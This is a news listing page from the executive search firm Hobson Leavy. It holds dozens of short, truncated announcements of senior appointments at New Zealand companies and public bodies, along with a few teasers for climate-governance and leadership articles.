LATEST NEWS

Keep your finger on the pulse of the senior executive market with the latest appointments, news and thought leadership from Hobson Leavy.

For further information or to apply, please email Maia Stewart. E: maia@hobsonleavy.com

We are thrilled to announce that Professor Jennifer Milam has been appointed as Deputy Vice Chancellor, Academic for The University of Waikato. Professor Jennifer Milam is an accomplished tertiary leader with over 30 years of experience in higher education across Australia, Europe, and North America. For the last four years, Jennifer has held the Pro Vice-Chancellor, Academic Excellence role for the University of Newcastle. Throughout her academic career, Jennifer brings …

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Hobson Leavy is delighted to announce that Mark Kennedy has been appointed as General Manager, Lumber for Pan Pac Forest Products.   Mark presents with significant experience in operations management, in manufacturing environments. He has over twenty years of senior operations and financial management experience with strong business and people leadership, strategy and change management along with deep asset management and health and safety experience.   Throughout Mark’s career, he …

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Hobson Leavy – Leadership IV Series Laurissa Cooney   Insights from Director, Laurissa Cooney CMInstD    As part of Hobson Leavy’s role as a Foundation Partner of Chapter Zero, we have spoken to several leading New Zealand directors, seeking their insights and thoughts on the climate challenge, through their experiences in the boardroom.   Interested in some of the biggest challenges facing our non-executive directors, we wanted to know what impact climate …

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We are excited to announce that Rachelle Russell has been appointed as a new Partner for Hobson Leavy.   Rachelle has over 15 years’ recruitment experience, with particular strengths in senior leadership and Māori specialist roles. Of Ngāti Raukawa descent, she offers a strong understanding of Te Ao Māori, partnering with organisations to create recruitment processes that are inclusive and culturally attuned. Her focus is on helping businesses diversify their …

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Hobson Leavy is thrilled to announce that Glen Cornelius has been appointed as Chief Executive Officer for Duncan Cotterill. Glen offers proven experience as a CEO leading Harrison Grierson in New Zealand. For the last twenty-eight years, Glen has been employed with the firm, commencing as a Civil Engineer in their environmental area. He has a strong understanding of leading in a professional services business and experience leading change in …

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Hobson Leavy is delighted to announce that Alan Thomson has been appointed as Chief Executive Officer for Beef + Lamb New Zealand.   Alan has broad commercial experience within the agricultural sector across Australia and New Zealand and brings a strong understanding of the farming sector and networks across dairy, red meat, and horticulture. For the past ~4 years, Alan has been with Japanese conglomerate, Hitachi – which is active …

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Hobson Leavy is thrilled to announce Dr Matire Harwood and Dr Raewyn Fisher have been appointed as Board Directors for the Heart Foundation.   Dr Raewyn Fisher is an experienced general cardiologist with Te Whatu Ora, and former Director of Cardiology at Waikato Hospital and Midland Cardiovascular Services. Before joining Te Whatu Ora, Raeywn spent over twenty-five years as a Cardiologist for the Waikato DHB. During this time, she also …

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Hobson Leavy is thrilled to announce that Lance Jones has been appointed as a Corporate Partner for Anthony Harper.   Lance has more than 20 years of top tier corporate law experience in New Zealand, Sydney and London with expertise in domestic and cross border mergers and acquisitions (M&A), private equity transactions, complex commercial contracts and shareholder/joint venture arrangements.   Please join us in congratulating Lance on his appointment. …

Hobson Leavy is thrilled to announce that Chris Dew has been appointed as Capital Raising Programme Manager for Watercare.   Chris is a well accomplished Programme Manager. In his early career he spent several years working in the UK in front office support roles in the financial sector. These early experiences gave Chris exposure to various projects across many successful large organisations, an area Chris would ultimately make a career …

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Insights from Director, Kevin Jenkins     As part of Hobson Leavy’s role as a Foundation Partner of Chapter Zero, we have spoken to several leading New Zealand directors, seeking their insights and thoughts on the climate challenge, through their experiences in the boardroom.     Interested in some of the biggest challenges facing our non-executive directors, we wanted to know what impact climate change is having on the business strategies within …

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HOBSON LEAVY is thrilled to announce that Michael Boggs has been appointed as a Non-Executive Director to the board of Rangatira Investments. Michael has been CEO at New Zealand Media and Entertainment (NZME) since 2016 and is a Fellow of the Chartered Accountants. Prior to NZME Michael had extensive senior executive experience in the insurance sector and a significant background in telecommunications and technology. He will bring strong finance experience, …

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Creating a thought partnership   The chair/CEO relationship is a critical partnership that is crucial to an effective, well-functioning board.   Article by Lauren Shearer, Partner, Hobson Leavy, and Judene Edgar, Senior Governance Advisor, IoD Publish date: 22 Aug 2024 Chairs and CEOs who enjoy well-functioning relationships have a unique partnership built on mutual respect, trust and strong, open communication. However, these partnerships are not without challenges and some …

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Hobson Leavy is excited to be working with the Robertson Family to appoint a new CEO to their iconic New Zealand business, Waiaua Bay Farm (WBF).   WBF has established a strong reputation in New Zealand, where it has grown to become New Zealand’s leading operator of luxury lodge accommodation and golf course experiences.   The business today comprises: Kauri Cliffs (luxury lodge accommodation, a championship golf course and six …

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Hobson Leavy is thrilled to announce that Mark Cross has been appointed as Non-Executive Director for Fisher & Paykel Healthcare.   Mark has extensive governance experience in other listed companies. He currently chairs the board of Chorus, where he has been a director since 2016. He is also a director of Xero, and a board member and Investment Committee Chair of Accident Compensation Corporation (ACC). He is a former chair …

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Hobson Leavy is thrilled to announce that Darryl Jhinku has been appointed as Trustee and Chair, Audit & Risk Committee for the Auckland City Mission.   Darryl Jhinku is a seasoned Non-Executive Director and proven Audit & Risk Committee Chair with over 10 years of governance experience. Darryl brings strong commercial nous with executive experience as a Chief Financial Officer across a broad range of industries, and governance experience within …

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Hobson Leavy is delighted to announce Olivia Meo-Groser has been appointed as Chief Operating Officer for Avanti Finance.   Olivia has broad experience within the financial service sector both nationally and internationally. She began her career with Buddle Findlay, before heading offshore in 2004 joining global credit rating agency, Standard & Poors (S&P), where she spent the next fifteen years in London and Hong Kong.   Olivia returned to NZ …

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Hobson Leavy are thrilled to announce that Nicki Sutherland has been appointed as Chief Executive Officer for Electricity Engineering Association.   Nicki is a lawyer by background, having spent the first fifteen years of her career in private practice focused on major capital projects and infrastructure operations – giving her solid exposure engaging with engineers and “living in their world”.   This included ten years working in Australia for the likes …

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Hobson Leavy are thrilled to announce that Marko den Breems has been appointed as Chief Executive Officer of Isthmus.   Marko is a well-rounded executive, bringing strong and varied experience in stakeholder management, commercial and financial risk, and the delivery of architecture and urban design projects.   Marko is an experienced operator in Aotearoa’s architecture industry, having previously held the role of Chief Executive Officer at Jasmax—during his tenure there …

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Hobson Leavy are thrilled to announce that Amrita Balaraman has been appointed as Chief Operating Officer, Container Port for Lyttelton Port of Christchurch.   Amrita is currently Vice-President and Head of Operations at Tomra New Zealand, part of the global Tomra group headquartered in Norway.   Prior to joining Tomra, Amrita was Operations Manager at Sealord, where she headed onshore operations for Sealord, including its three manufacturing factories in Nelson …

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Hobson Leavy is pleased to announce the appointment of three new Trustees: Melissa Cantell, Philip Doak, and Catherine Green to the Kristin School Board.   Melissa Cantell is the Chief Executive Officer for Aon New Zealand and a former student of Kristin School. She is a seasoned and commercial executive, with a breadth of experience across different sectors including legal, FMCG, Insurance, and Financial Services. She brings a multitude of …

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After a thorough international search, Hobson Leavy is thrilled to announce that Nick Herbert has been appointed as General Manager, Product and Marketing for TSB.   Originally from the United Kingdom, Nick is an experienced financial services leader and has spent the last four years running product at Investec Bank. He brings 17 years’ worth of experience designing, building, and taking products to market in financial services and healthcare, and …

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HOBSON LEAVY is thrilled to announce that Kirk Hope has been appointed as Chief Executive Officer for the Financial Services Council New Zealand. Kirk Hope is a seasoned executive with an extensive career in senior leadership roles in the financial services sector, including CEO roles in relevant industry bodies. Employed as Chief Executive for Business New Zealand since 2016, Kirk currently leads New Zealand’s largest advocacy body. He has extensive …

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After a thorough international search, we are thrilled to announce Ian Passau will be joining Arvida Group as General Manager Development. Ian will play a critical leadership role in building out and delivering the Group’s diverse national development pipeline – leading site acquisition through to build completion. Ian brings a depth of executive experience across construction and property development – spanning retail, residential, mixed-use and land development. Originally from the …

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Hobson Leavy is proud to have contributed to Chapter Zero New Zealand’s latest report, Climate-related Incentive Schemes & Effective Governance.   The report draws from conversations with remuneration and people and culture committee chairs, industry experts, local and international research to provide you with principles, guidance, and actionable steps to support the inclusion of climate-related metrics within executive incentive schemes. Topics covered include the role of incentives in influencing behaviour, …

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Hobson Leavy are thrilled to announce Toby Beaglehole has been appointed as Chief Executive Officer for The Royal New Zealand College of General Practitioners.   Toby has extensive executive and governance experience having held the role of Chief Executive with NZ Oil Services Ltd, Connexis (the infrastructure training organisation), the Building and Construction Industry Training Organisation (BCITO), and the Work Based Learning subsidiary of Te Pūkenga. He is on the …

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Insightful report by Panorama about the Future of Leadership. Leaders from around the world shared their experiences and perspectives through Panorama’s Global Leadership Survey, covering five key themes outlined below: 1) Purpose-driven leadership 2) Accelerating innovation 3) Strategic planning 4) Leadership challenges 5) Management and business complexity Read the full report here: https://panorama-leadership.com/future-of-leadership 

Hobson Leavy is delighted to announce that Kelly Bunyan has been appointed as Chief Executive Officer for Accessible Properties.   “Kelly has recently served as a Director on the Accessible Properties board and as a member of IHC’s Risk committee. Her understanding of our business, our operations and vision, our people and those we support is advantageous in ensuring a smooth leadership transition, helping maintain the stability and continuity of …

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Hobson Leavy is delighted to announce Drazenka Dordevich has been appointed to Southern Cross Travel Insurance as Chief Operating Officer.   With a significant leadership career in insurance, Drazenka joins Southern Cross Travel after a varied 20+ years in senior roles with IAG New Zealand.   Drazenka immigrated from former Yugoslavia during the Civil War, moving to New Zealand with her husband and young son in the late 90s with …

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Hobson Leavy are thrilled to announce that Kacey Murphy has been appointed as Director of Business Development for Pacific Clinical Research Network.   Kacey has an extensive background in the healthcare sector, where she has held various leadership positions across sales, business development and marketing.   In 2009 Kacey moved to Australia, where she has had various sales roles with Sanofi Pasteur, a large producer and distributor of vaccines globally. …

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Hobson Leavy is thrilled to announce that Rhys Hurd has been appointed to GM Communications, Engagement & Channels for BRANZ.   Rhys Hurd is an accomplished communications executive who has built his experience in a range of environments, including having operated at a senior level in global corporates. Before joining with BRANZ, Rhys was employed by the Accident Compensation Corporation (ACC) where he has held several roles since joining in …

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Hobson Leavy is thrilled to announce that Kate Gardiner has been appointed as Chief Financial Officer for New Zealand Mint.   Kate Gardiner is a seasoned leader with some 25 years of experience in Finance and General Management positions across a broad range of industries. She brings a wealth of knowledge and commercial experience having led business scaling, contract negotiations, and driven international growth and commercial partnerships.   Please join …

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Hobson Leavy is thrilled to announce Andrea Brunner has been appointed to the role of Chief Operating Officer for Southern Cross Health Insurance.   Andrea brings a wealth of executive experience within financial services. Her experience is wide-ranging, spanning people and culture, product and pricing, claims management and client service.   Andrea joins Southern Cross from NZ Rugby, where she has been Chief People, Safety and Wellbeing Officer since 2022. …

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Hobson Leavy is thrilled to announce that Tony Carter has been appointed as Independent Director for The Warehouse Group.   Tony’s previous directorships encompass decades of governance, including roles at Fisher and Paykel Healthcare, Air New Zealand, Fletcher Building, ANZ Bank New Zealand, and Vector New Zealand.   He has previously served as managing director of supermarket operator Foodstuffs and Mitre 10 stores, where he played a critical role in …

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Hobson Leavy are thrilled to announce that Clayton Kimpton has been appointed as Chief Executive Officer for The Law Association.   A highly skilled lawyer and distinguished diplomat, Clayton’s professional experience includes governance, strategy, law policy development, foreign affairs, and trade. Along with leading and working with organisations to drive business success, he is experienced in navigating stakeholder matters and forging long-term strategic partnerships.   Please join us in congratulating …

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Hobson Leavy is pleased to announce that Pete Searle has been appointed as GM Corporate Services & Chief Financial Officer for BRANZ.   Pete has extensive experience as a Chief Financial Officer in financial services, medical regulation, and education research and development.   As GM Finance and Business at the New Zealand Council for Educational Research (NZCER), Pete oversees Finance, Sales, IT, and Administration. During the five years that Pete …

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Hobson Leavy are thrilled to announce that Sjaan Evans has been appointed Chief Operating Officer for Pacific Clinical Research Network (PCRN).   Sjaan has a strong operations background across the pharmaceutical industry, manufacturing, and chemical processing industries. Sjaan currently holds the role of GM Research & Development Operations at Douglas Pharmaceuticals.   After completing her master’s degree in 2012 from Deakin University, Sjaan returned to New Zealand and joined mining …

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Hobson Leavy is delighted to announce that Angela Henderson has been appointed as Chief Information Officer for Fidelity Life Assurance.   Angela is a transformational change agent with over 15 years within financial services both in New Zealand and the UK. She has a breadth of experience as a leader in successful Agile deployment and delivery as well as corporate-wide change delivery. Angela presents with a strength in the development …

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Hobson Leavy is pleased to announce that Derek Batchelor has been appointed as Director of Relationship Management for Pacific Clinical Research Network (PCRN).   Derek has had an extensive career in sales management, starting out in banking before spending over 20 years in healthcare sales management roles. More recently, Derek joined the horticulture sector as Regional Sales Manager at Tomra Food.   Derek has an extensive track record of business …

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Hobson Leavy is thrilled to announce that Cath Lomax has been appointed as Chief People & Strategy Officer for Southern Cross Health Society.   Cath has enjoyed a varied career, predominantly spent within financial services, she has spanned sales, strategy, HR management and client services. She has proven expertise in forming and fostering successful, engaged and accountable teams which aim to consistently deliver exceptional customer experiences.   Earlier in Cath’s …

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Hobson Leavy is thrilled to announce that Elena Borro has been appointed as Chief Financial Officer for ECL Group.   Elena is a strategic finance professional with a strong focus on transformation and change. She has over twenty years’ experience operating in large, complex environments, developing a broad skillset across business partnering, strategy development, management, financial accounting, planning and forecasting, project accounting, and investments.   Please join us in congratulating …

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Hobson Leavy are pleased to announce that Jonathan Duncan has been appointed as Chief Commercial Officer for ProCare.   With over twenty years’ experience in senior financial roles, Jonathan presents as a talented finance professional with strong experience across a range of sectors.   During Jonathan’s earlier career, he held various financial roles in London and Melbourne. In 2011, Jonathan returned to New Zealand and took on a contract role …

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Hobson Leavy is thrilled to announce that Scott Maud has been appointed as Chief Financial Officer for Trade Me.   Scott has spent the last 12 years of his career within PE-backed environments in CFO and corporate strategy leadership roles. Most recently, Scott was the Group CFO of software vendor Xplor Technologies where he was based in the UK, and played a key role in scaling this global business.  Scott …

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Hobson Leavy is thrilled to announce that Kate Armstrong has been appointed as Non-Executive Director for TSB. Kate is a qualified lawyer with almost 30 years’ experience in financial services and five years’ experience in governance. She has spent significant time working within in-house legal teams at banks, both within New Zealand and overseas. Kate has held roles at Mizuho Corporate Bank, Barclays Capital and ANZ NZ, and most recently …

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Hobson Leavy is thrilled to announce that Paul Munro has been appointed as Chair – Audit & Risk for New Zealand King Salmon.   Paul will commence as an Independent Non-Executive Director for NZKS on 1 March 2024 and will commence as Chair of the Audit, Finance and Risk Committee on 31 March 2024. Paul is an accomplished finance professional with extensive governance experience, including 24 years with Deloitte as …

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Hobson Leavy is pleased to announce that Rachel Boase has been appointed as Chief Financial Officer for ProCare.   Rachel is an experienced Chartered Accountant, offering a strong background in accounting and finance gained both in New Zealand as well as offshore. Prior to her new appointment, she has been employed as Head of Finance/Financial Controller for ProCare,w here she is responsible for the finance functions for eleven entities within …

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Hobson Leavy is thrilled to announce that Chris Houston has been appointed Chief Executive Officer for Fiber Fresh New Zealand.   Chris has an infinity with the agricultural and dairy sector and brings a strong sales pedigree with particular strength in establishing and maintaining strong international growth. He has experience in both direct sales motions, and working through partners to serve different geographies.   Please join us in congratulating Chris …

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Hobson Leavy is thrilled to announce that Helen Murchison has been appointed General Manager for Rockgas – New Zealand’s largest LPG retailer.   Helen is a proven executive leader with strong strategic, operational and commercial experience. She has led large teams and organisations across several sectors including retail, energy and freight. She has a Bachelor of Business majoring in accounting and is a qualified Chartered Accountant.   Helen began her career as …

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Hobson Leavy is thrilled to announce that Fred Ohlsson has been appointed Group Chief Executive Officer for Avanti Finance.   Fred is a highly regarded and seasoned financial services sector executive. He has held senior leadership roles for most of his career across Australia and New Zealand.   Throughout his career, Fred has operated at scale and has led ANZ’s largest business – Australia Division, covering retail, small business, business …

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Hobson Leavy is delighted to announce Kris Fa’afoi has been appointed as Chief Executive Officer to Insurance Council of New Zealand Te Kāhui Inihua o Aotearoa(ICNZ).   A former Cabinet Minister, Hon. Kris Fa’afoi served as a member of Parliament for 12 years, between 2010 – 2022. As a List MP under the Labour Government, Kris oversaw a range of ministerial portfolios. He served as the Minister of Justice, Minister for Broadcasting and Media, …

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Hobson Leavy is delighted to announce the appointment of Simon Watt as Independent Chair for the Electricity Retailers’ Association for New Zealand.   Widely acknowledged as New Zealand’s leading climate change lawyer, Simon brings a wealth of energy sector experience to the role.   “We’re delighted to welcome Simon to ERANZ at a time of significant growth and transformation for the energy sector,” ERANZ Chief Executive, Bridget Abernethy, said. “Simon …

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Hobson Leavy is thrilled to announce that Scott Johnson has been appointed as Chief Executive Officer for Blis Technologies.   Scott is highly experienced with effective leadership and management roles across local and international markets. He has direct industry experience in his previous role as Group Chief Executive of The Better Health Company Group, which is known for its Go Healthy consumer brand amongst others.   Please join us in …

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Hobson Leavy is excited to announce that Matt Parkin has been appointed Head of Retail for Pet Direct.   Matt Parkin has built his career in the retail sector in Australia and NZ, where he has held growth focused leadership roles for menswear and sporting brands. Matt also brings experience working within the United Kingdom, as a Retail Manager for Quiksilver Europe.   Matt has held a variety of retail …

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Hobson Leavy is pleased to announce Paula Ormandy has been appointed as Partner – Property for Buddle Findlay.   Paula has almost two decades’ experience in major projects, spanning leasing, property development, high-value portfolio acquisitions and disposals and advising large global corporates on entry to the New Zealand market.  Recent highlights include supporting Kiwi Property on its first Build to Rent project at Sylvia Park and acting for Fisher & …

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Hobson Leavy is thrilled to announce Kerry Boielle has been appointed as Chief Executive Officer for TSB.   TSB Board Chair, Mark Darrow, said he was delighted someone of Kerry’s calibre and experience was joining as Chief Executive. “Having conducted an exhaustive search, Kerry shone through as someone with energy, innovation and aspiration which will suit the organisation well as we transform into a more modern business in coming years.” …

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Hobson Leavy is thrilled to announce that Kerry Heard has been appointed Chief Executive Officer for CORE Group.   CORE Group is a highly successful New Zealand owned building materials exporter with vertically integrated timber manufacturing and processing, established as three companies PTP Group Mill (CORE Lumber),Papakura Timber Processors (CORE Timber Services) and Timber Barron (CORE Supply).   Kerry brings a background in sales and people leadership within the manufacturing …

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Hobson Leavy is thrilled to announce that Melissa Anderson has been appointed as Bluebridge – General Manager Shore Operations for StraitNZ.   Melissa grew up in Wellington and has evolved her career in roles in the transport and local government environments.   In Melissa’s early career, she held several finance and administration roles before joining NZBus in 2012. During her time with NZBus, Melissa was offered numerous promotions to broaden …

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Hobson Leavy is thrilled to announce that Liz Fraser has been appointed Chief Revenue Officer for Serko.   Liz Fraser is an impressive individual, offering extensive experience in driving revenue growth at a senior executive level, particularly in both the travel and media sectors.   Revenue generation and a growth mandate have been at the heart of most of Liz’s roles to date. She has driven growth through existing business, …

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Hobson Leavy is pleased to announce that Sarah Brooks has been appointed Deputy Banking Ombudsman for the Banking Ombudsman.   Sarah is a capable leader with a passion for the customer. She has gained extensive experience in banks and law firms across large-scale financial services investigations and conduct review programmes, Royal Commissions and complaints management in New Zealand and Australia.   Sarah has strong interpersonal skills and intellect that allow …

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Hobson Leavy are thrilled to announce that Graeme Sumner has been appointed as Chief Executive Officer for Lyttelton Port Company.   Graeme is currently an advisor and consultant to multiple companies and boards, and up until June 2022 he was the CEO of Airways New Zealand, the SOE responsible for the management and control of New Zealand’s airspace, as well as having an extensive international business providing products and services …

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Hobson Leavy is thrilled to announce that Elizabeth Heeg has been appointed Chief Executive Officer for the New Zealand Forest Owners Association.   Elizabeth brings extensive experience working across multiple different government departments as well as existing relationships with ministers, particularly within forestry, resource management, climate change and regional economic development issues.   She is a strong leader, with experience operating at the director level within the DOC and MPI …

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Hobson Leavy are thrilled to announce that David Reeves has been appointed as Chief Executive for Auckland War Memorial Museum.   Reeves has been the director of collections and research at Auckland Museum since 2011, a role in which he has led transformational change in the museum’s curatorial, collections, and conservation practices. As a member of the museum’s executive team, he has led innovative digital collection access projects, contributed to …

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Hobson Leavy is thrilled to announce that Tim Poonan has been appointed Chief Financial Officer for Airways Corporation.   Tim presents as a very capable finance executive. He has had more than twenty years’ experience in senior finance and commercial roles, most recently as Chief Operating Officer and previously Chief Financial Officer at Fisher & Paykel Appliances.   Tim has demonstrated ability to successfully lead change and business growth in …

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Hobson Leavy is delighted to announce Jeff Hayward has been appointed as Chief Financial Officer for Lotto NZ.   A University of Auckland Commerce graduate and Deloitte trained Chartered Accountant, Jeff has built his career as a finance executive with international experience. He has spent time in professional services, media, and more recently, within software technology.   Prior to joining Lotto, Jeff spent six years with Flintfox International, an independent …

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Hobson Leavy is thrilled to announce that Anthony Halls has been appointed as Chief Investment Officer for Annuitas.   Anthony has spent most of his career working in capital markets and fund management positions. Specifically, he brings extensive experience within the funds management industry having managed multi-asset and single sector portfolios, as well as researching and selecting external managers for out-sourced portfolios.   He is a proven CIO with a …

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Hobson Leavy are thrilled to announce Carl Carrington has been appointed as Chief Executive Officer for New Zealand King Salmon. Carl is a proven Chief Executive Officer, with a strong background in food and beverage. In particular he offers highly relevant experience in the seafood sector, both at an executive as well as a governance level. Early on in Carl’s executive career, he held a number of leadership roles with …

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Hobson Leavy is thrilled to announce that Campbell Parker has been appointed as Chief Executive Officer for DairyNZ.   Campbell has a deep love of the farming sector having grown up on a sheep, beef & dairy grazing property in the Waikato. He has committed his career to date to being an executive leader in the sector. He has lived and worked throughout New Zealand and has strong insights into …

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Hobson Leavy are thrilled to announce that Andrew Millar has been appointed as the General Manager Market Policy for the Electricity Authority.   Andrew is a well-respected leader and policy professional with specialised skills in energy, climate, and natural resources policy. He has worked on domestic and international climate change issues, on upstream and downstream energy policy development, and on marine policy. Andrew has also worked closely with the sector …

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Hobson Leavy is thrilled to announce that Mark Dewdney has been appointed as Chair for New Zealand King Salmon.   Mark has had an extensive career in governance including roles such as Director of The Tatua Dairy Co-operative and Chair of Hop Revolution Limited and Maririe General Partner Limited and he was formerly a Director for Dairy Goat Co-operative (2017 – 2022).   Mark also has had a successful executive …

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Hobson Leavy is delighted to announce that Scott Sherriff has been appointed Chief Operating Officer for Aroa Biosurgery. Scott Sherriff is a senior executive with over twenty-five years’ experience in the pharmaceutical industry, much of which has been internationally focused and offshore based. He offers strong skills in leadership roles across sales and marketing and managing large cross-functional global teams. Since 2015 Scott has been employed as Chief Commercial Officer …

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Hobson Leavy is delighted to announce the appointment of Tracey Kai as Chief Executive Officer to Electricity Networks Aotearoa (ENA).   Tracey is currently GM, Operations at Te Waihanga, the New Zealand Infrastructure Commission. Prior to this, she was GM, Communications at New Zealand Rugby. Tracey has a Bachelor of Commerce and Administration and a Master of Business Administration, and sits on the Boards of Construction Health and Safety NZ, …

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Hobson Leavy is thrilled to announce that Airihi Mahuika has been appointed General Manager, Legal Monitoring and Compliance for Electricity Authority.   Airihi is a well-regarded, intelligent, and experienced leader with deep expertise across legal, policy and regulatory functions, particularly within infrastructure regulation across both the public and private sector.   Alongside her broad functional experience Airihi has had significant infrastructure and regulatory experience working for the Electricity and Commerce …

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Hobson Leavy are thrilled to announce that Jeremy O’Brien has been appointed as Future Director for The Warehouse Group.   Jeremy is a talented senior executive with an earlier career in marketing before broadening into wider commercial roles. He has honed his skills and experience in a variety of blue-chip environments, including Vodafone, ASB, Lion, TVNZ and now Air New Zealand, all encompassing a strong consumer lens.   Beginning his …

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Hobson Leavy are pleased to announce that Amanda Cribb has been appointed Chief Financial Officer for RedShield.   Amanda has more than 15 years of executive and governance experience within the technology sector, focusing on finance, transformation, strategy, corporate investment and M&A.   Amanda’s career began in telco before moving to investment banking and then to technology in 2004 where she spent 10 years with IT consulting company Zag (now …

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Hobson Leavy is thrilled to announce Drugh Woods has been appointed as General Manager Property for Tramco.   Drugh brings some twenty years’ experience in leasing and property management. He has been with NZX-listed Vital Healthcare Property for over 10 years managing the financial performance of the New Zealand portfolio including asset acquisitions, disposals and developments. Vital is managed by NorthWest Healthcare Properties REIT – a listed Canadian-based property fund …

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Hobson Leavy is thrilled to announce that Mark Piper has been appointed as Chief Executive Officer for Plant & Food Research.   Mark is an experienced leader with extensive experience within the food and primary sectors. He began his working career joining with Dairy Group for 11 years, where his talent was quickly recognised as he took on management responsibility and supervisor roles.   Following the merger with Fonterra in …

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Hobson Leavy is excited to announce that Annie Murray has been appointed Chief Executive Officer for the New Zealand Film Commission.   Annie Murray has enjoyed a long career championing New Zealand stories on screen. Her most recent role has been as Head of Sky NZ Originals.   Annie offers twenty-three years’ experience in New Zealand’s screen industry, including a stint at funding agency NZ On Air. She has broad …

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Hobson Leavy is excited to announce that Paulette Cotter has been appointed Chief People & Sustainability Officer for Kordia.   Paulette has had a varied career as a people and culture leader which has included roles within corporate and not-for-profit organisations, and more recently consulting to a wide variety of organisations carrying out a broad range of work.   Paulette’s has led strategic people and organisational development functions for a …

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Hobson Leavy are delighted to announce that Sharyn Reichtstein has been appointed Chief Risk Officer for Tower Insurance.   Sharyn is a seasoned executive with a wealth of experience working in Corporate governance, financial regulation, and risk management.   Over the past two decades, Sharyn has held an array of roles with Australian Prudential Regulation Authority, with the key themes being supervision across Australia’s insurance sector, focusing on policy, and …

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Hobson Leavy is thrilled to announce that Daniel Trinder has been appointed as Executive Director, Strategy & Design for the Financial Markets Authority – New Zealand.   Daniel brings a track record of regulatory leadership roles in international finance organisations, investment banking, central banking, and government agency contexts. He has an MA in Economics, from York University, Toronto, and a Ph.D. Economics, from Queen Mary University of London, where he …

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Hobson Leavy would like to congratulate Nigel Philpott on his appointment to Chief Executive for Nelson City Council (NCC).   After an extensive career in senior leadership and transformational roles with both the UK and NZ Armed Forces, Nigel moved into the public service. He spent a period leading the Transitional Housing Task Force alongside former politician, Paula Bennett. Moving next to Ministry of Education, Nigel drove the visionary National …

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Hobson Leavy is thrilled to announce that Sharon Thompson has been appointed as Executive Director, Transformation & Delivery for the Financial Markets Authority.   Sharon Thompson brings extensive experience across retail and business banking, and public sector environments. Sharon holds a Bachelor of Business Studies majoring in Management as well as a Master of Management from Massey University.   Sharon has successfully led large scale transformation in complex businesses across …

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Hobson Leavy is pleased to announce the appointment of Vedran Babic as Chief Executive Officer to New Zealand Mint. Vedran is a seasoned executive leader with an exemplary track record of growing NZ businesses through lifting digital capability and driving organic and acquisitive growth. An impactful leader with an opportunistic entrepreneurial eye, Vedran is excited about NZ Mint’s growth story, their international footprint, and the vast opportunities that lie in …

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Hobson Leavy are thrilled to announce that Chelydra Percy has been appointed Chief Executive Officer for GNS Science.   Chelydra’s career has seen her work with a range of technology, education and research organisations over the last 25 years, nationally and internationally. Throughout her career Chelydra has prided herself on developing a culture that prioritises and celebrates science.   Chelydra is currently Group Chief Executive of BRANZ (Building Research Association …

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Hobson Leavy are pleased to announce that Tim Mitchell has been appointed as Chief Executive Officer for Annuitas Management, a joint venture between the Board of the National Provident Fund and the Government Superannuation Fund Authority.   Tim brings extensive experience in institutional investment management, as a practitioner, as a policy advisor and as a leader.   Prior to joining Annuitas, Tim was Global Head of Governance Consulting at WTW …

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Hobson Leavy are delighted to announce that Hywel Davies has been appointed as Technical Manager – Methanex NZ at Methanex Corporation.   A chartered engineer and fellow of the Institute of Engineering and Technology, Hywel has had a significant career in the major hazard chemical industry prior to taking on this latest opportunity. Hywel says he has found a very strong personal fit with Methanex’s values and operational discipline. He …

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HOBSON LEAVY is delighted to announce that Kevin Jenkins has been appointed as Chair of the board for the The Real Estate Institute of New Zealand (REINZ).   Kevin is co-founder of MartinJenkins, one of New Zealand’s leading professional services firms, advising particularly in the area of public policy, regulation, economic development and data science. MartinJenkins is an influential firm, particularly in Wellington and well connected throughout both the public …

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Hobson Leavy are thrilled to announce that Ben Kay has been appointed as Chief Financial Officer (CFO) of Punakaiki Fund and 2040 Ventures and commenced his new role on 1 November 2022. Punakaiki Fund is one of NZ’s leading Venture Capital funds with a mandate to invest in early stage, high growth NZ-based technology companies – 2040 Ventures have been the external manager of the fund since its inception in …

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Hobson Leavy is delighted to share the appointment of Audrey Sonerson as Secretary for Transport and Chief Executive of Te Manatū Waka – Ministry of Transport.   Audrey is a long-time public servant with a background in policy leadership, sector leadership and organisational leadership. She is currently a Deputy Chief Executive at the Ministry of Foreign Affairs and Trade, a role she has held since December 2019.   Prior …

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Hobson Leavy is delighted to announce that Marcus Blackburn has been appointed as Head of School at St Peter’s School, Cambridge.   Marcus is currently the Deputy Headmaster and Head of Senior School at St Peter’s College in Adelaide, one of Australia’s leading independent schools. In this role, Marcus coordinates the operations of the senior school leadership team, interweaving and influencing the academic, pastoral and co-curricular aspects at a strategic …

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Hobson Leavy are delighted to announce that Geraldine McBride has been appointed as a Non-Executive Director for Tower Insurance.   Geraldine McBride is an experienced Professional Director who also had a earlier career as a senior executive in the technology sector. Geraldine’s executive career spanned 30 years and was global in nature including working in New Zealand, Australia, South Africa, Singapore and North America. Her experience traversed a number of …

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Hobson Leavy are thrilled to announce that Jo Tait has been appointed General Manager at Office Products Depot.   Jo is a commercial senior marketer with extensive experience in retail and eCommerce and a proven track record of working in businesses operating complex ownership models. Jo’s career to date is characterised by her passion for retail businesses, driving brands to achieve business outcomes, and often in environments with a mandate …

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Hobson Leavy is delighted to announce that Denise Cosgrove has been appointed Chief Executive Officer at The Selwyn Foundation.   Denise has had a significant leadership career with CEO experience leading large, complex operational businesses focused on social and commercial outcomes in the government and not-for-profit sectors in both New Zealand and Australia. For the last 5 years she has been CEO of Presbyterian Support Northern (PSN), one of New …

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Hobson Leavy is pleased to announce that Joe Akari has been appointed as the new CEO/National Safety Director of Forestry Industry Safety Council/Safetree.   Joe is an experienced senior executive with strengths in leadership development, Health and Safety and employee relations. He began his working journey in forestry as a Ranger with the NZ Forest Service and with PF Olsen as a contractor. He went on to forge a successful …

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Hobson Leavy are pleased to announce that Katrina Kirkcaldie has been appointed as Chief Financial Officer at Plan B.   Katrina is a qualified accountant with some twenty years’ experience across financial services, retail, and software and technology. She brings over five years of specific technology-sector experience, through her roles with WhereScape and her recent role at Laybuy, where she has been the Chief Financial Officer for the past three …

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Hobson Leavy is pleased to announce that Anna Lissaman has been appointed General Manager People for Metlifecare.   Anna is an experienced executive leader with a strong background in leading cultural transformation and growth across a range of sectors and organisations. She is a digitally agile leader of business transformation, with a strong forward-thinking approach and a deep understanding of what it takes to drive engagement, a winning culture and …

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Hobson Leavy is pleased to announce that Justin Tighe-Umbers has been appointed Chief Executive Officer at National Road Carriers.   Justin has most recently been the Board of Airline Representatives New Zealand’s (BARNZ) Executive Director, where he was instrumental in helping the aviation sector navigate the recent border closures.  His career has spanned a number of industries, starting out in IT for London trading banks and insurance,  then spending 13 years …

